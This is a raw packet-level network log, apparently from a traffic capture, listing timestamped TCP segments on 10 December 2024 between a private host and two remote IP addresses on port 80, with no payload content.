Dec 10, 2024 05:10:28.582252026 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.585161924 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.585225105 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.585278034 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.588313103 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.588372946 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.588407040 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.588449955 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.591500044 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.591613054 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.591661930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.594719887 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.594835997 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.594887018 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.668095112 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.668128014 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.668163061 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.668185949 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.668772936 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.668894053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.668936014 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.671428919 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.671545982 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.671592951 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.674084902 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.674192905 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.674236059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.676701069 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.676832914 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.676878929 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.679230928 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.682169914 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.684309959 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.684365988 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.684425116 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.684811115 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.685487986 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.685519934 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.685539007 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.685549974 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.687289953 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.687339067 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.687479973 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.687536001 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.689646959 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.689702988 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.689738989 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.689826012 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.692022085 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.692074060 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.692110062 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.692229033 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.694428921 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.694473982 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.694484949 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.694530964 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.696646929 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.696702003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.696785927 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.696822882 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.698812008 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.698864937 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.698930025 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.698962927 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.701062918 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.701111078 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.701175928 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.701222897 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.703260899 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.703309059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.703346968 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.703391075 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.705410957 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.705503941 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.705538988 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.705585003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.707576990 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.707627058 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.707701921 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.707740068 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.709697962 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.709805012 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.709845066 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.711796999 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.711843014 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.711910963 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.712121010 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.713891983 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.713943005 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.713951111 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.713993073 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.715979099 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.716099024 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.716140985 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.717999935 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.718065023 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.718097925 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.718169928 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.720030069 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.720086098 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.720140934 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.720180988 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.722096920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.722152948 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.722157955 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.722289085 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.724066973 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.724114895 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.724167109 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.724211931 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.726104975 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.726154089 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.726201057 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.726243973 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.728101015 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.728214025 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.728261948 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.730117083 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.730164051 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.730230093 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.730269909 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.732153893 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.732250929 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.732269049 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.732326031 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.734138966 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.734194994 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.734261036 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.734306097 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.736181021 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.736227036 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.736289024 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.736331940 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.738205910 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.738338947 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.738346100 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.738393068 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.740199089 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.740243912 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.740314960 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.740360975 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.742219925 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.742347956 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.742388964 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.744265079 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.744390011 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.744431019 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.746320963 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.746413946 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.746454000 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.748389006 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.748423100 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.748440027 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.748497963 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.750304937 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.750416994 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.750442982 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.750451088 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.752321005 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.752437115 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.752496958 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.754345894 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.754427910 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.754456043 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.754499912 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.756356955 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.756485939 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.756532907 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.758403063 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.758485079 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.758537054 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.760421991 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.760502100 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.760549068 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.762393951 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.762506008 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.762551069 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.764421940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.764537096 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.764580011 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.766433001 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.766557932 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.766602039 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.768481016 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.768594980 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.768632889 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.770477057 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.770517111 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.770576000 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.771073103 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.772476912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.772599936 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.772600889 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.772650957 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.774518013 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.774571896 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.774616957 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.774651051 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.776506901 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.776554108 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.776607990 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.778556108 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.778654099 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.778686047 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.778764009 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.780564070 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.780615091 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.780620098 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.780658007 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.860038042 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.860141993 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.860212088 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.860806942 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.860903978 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.860950947 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.862301111 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.862361908 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.862435102 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.863082886 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.863812923 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.867109060 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.876353025 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.876435995 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.876507044 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.877034903 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.877127886 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.877185106 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.878398895 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.878458977 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.878494978 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.878575087 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:28.878595114 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.879787922 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.879841089 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.879885912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.879928112 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.881124973 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.881176949 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.881201982 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.881247997 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.882471085 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.882518053 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.882559061 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.882603884 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.883855104 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.883902073 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.883913040 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.883950949 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.885165930 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.885215044 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.885246038 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.885284901 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.886477947 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.886522055 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.886527061 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.886565924 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.887777090 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.887825966 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.887850046 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.887897015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.889065981 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.889107943 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.889198065 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.889235973 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.890355110 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.890403032 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.890469074 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.890511990 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.891685009 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.891716957 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.891731977 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.891757011 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.892962933 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.893007994 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.893088102 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.893129110 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.894220114 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.894263029 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.894314051 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.894361019 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.895482063 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.895524979 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.895579100 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.895620108 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.896733046 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.896776915 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.896811962 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.896852016 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.897994995 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.898037910 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.898103952 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.898144007 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.899252892 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.899298906 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.899334908 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.899379015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.901653051 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.901705027 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.902652025 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.902695894 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.902762890 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.902775049 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.902812958 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.903520107 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.903529882 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.903559923 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.903585911 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.904500008 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.904542923 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.904800892 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.904844999 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.905359983 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.905405045 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.905467033 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.905510902 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.906572104 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.906611919 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.906655073 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.906697989 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.907830000 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.907876968 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.907933950 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.907978058 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.909014940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.909058094 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.909128904 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.909169912 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.910217047 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.910260916 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.910300970 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.910342932 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.911474943 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.911521912 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.911596060 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.911642075 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.914865971 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.914877892 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.914886951 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.914897919 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.914920092 CET	49874	80	192.168.2.5	185.215.113.16
